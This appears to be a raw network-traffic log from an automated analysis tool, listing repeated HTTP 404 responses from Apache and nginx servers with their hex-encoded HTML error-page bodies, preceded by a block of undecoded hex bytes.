ea c7 13 01 22 c8 9d 76 38 47 dc 69 f7 b1 c5 9d 76 bf 7e df c7 9d 1e d5 1f 6d ad 6f 32 a2 ba ef 6a e5 83 8a 38 f0 cd c6 92 9d 4f e1 79 a0 b5 76 fc 29 7c 71 0b 31 74 4a ab 7f ca 9a ab 57 7e d2 b6 4a 59 ca 04 9a a6 72 1e de 5e ed 68 01 27 10 8d 83 71 30 07 29 a5 72 7d 6f dd c0 6d 38 bf 9a b1 b3 25 30 a4 13 4f 7b f4 c4 11 5d ae 7b 24 d4 81 1e f1 f6 6d fd 98 af c6 ca 7c 9b ef da 79 57 68 22 fa cb 85 80 15 4f 17 f0 2d 3f ea af db 00 4f a5 d3 ce 99 be 7b f4 bd 55 3b cd 9c f6 0f 5e 1f 82 9e 08 dd 84 09 ca dd cd f6 2d f0 18 eb 2f d7 69 3c 4e 13 09 2b 87 8c 78 f2 2a 9a 09 9c d7 e1 9b ae 7d c0 09 27 9a d5 aa 3b 29 c7 2a b9 5a 24 76 75 f5 3a 60 a2 d9 d6 b4 ed 77 7d f1 81 27 9c f0 16 25 f3 15 a5 2f fd 87 e9 7c 24 ef ac 55 6f 81 66 3b ed 85 e6 19 7f 52 5e a1 8f d9 6c bc 3f 2a 4c 6c 15 d0 b5 a6 eb 09 42 91 6a 1b 2a 9e 35 02 e6 54 9e 4d 9a f8 b6 ea 8f 03 ba aa 2a fb d3 3f 4f 98 c9 77 3f 92 f0 be 71 e0 f1 58 2b a7 51 b3 32 84 8a c0 80 ea 6d 45 4f c7 26 8f ea a7 63 b3 dd 46 4f c7 ad e6 db a7 a3 e4 bc 79 3a ca 54 65 4b 5b 43 a0 6b 6f 2e 03 ff 72 25 8a 2b d4 07 36 5b f5 f7 bc 11 5a 4d 88 74 a0 e5 f0 cd cd e5 41 db 6d fc a0 4d cc 0f ac d3 ec ef be b2 6f d2 82 0e d3 28 4b 4d 39 26 41 0f c0 2d 5d b7 5c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 06:04:29 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 06:04:32 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 06:04:35 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 27 Aug 2024 06:04:37 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:04:43 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:04:46 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 27 Aug 2024 06:04:49 GMTContent-Type: text/htmlContent-Length: 3971Connection: closeETag: "6526681e-f83"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 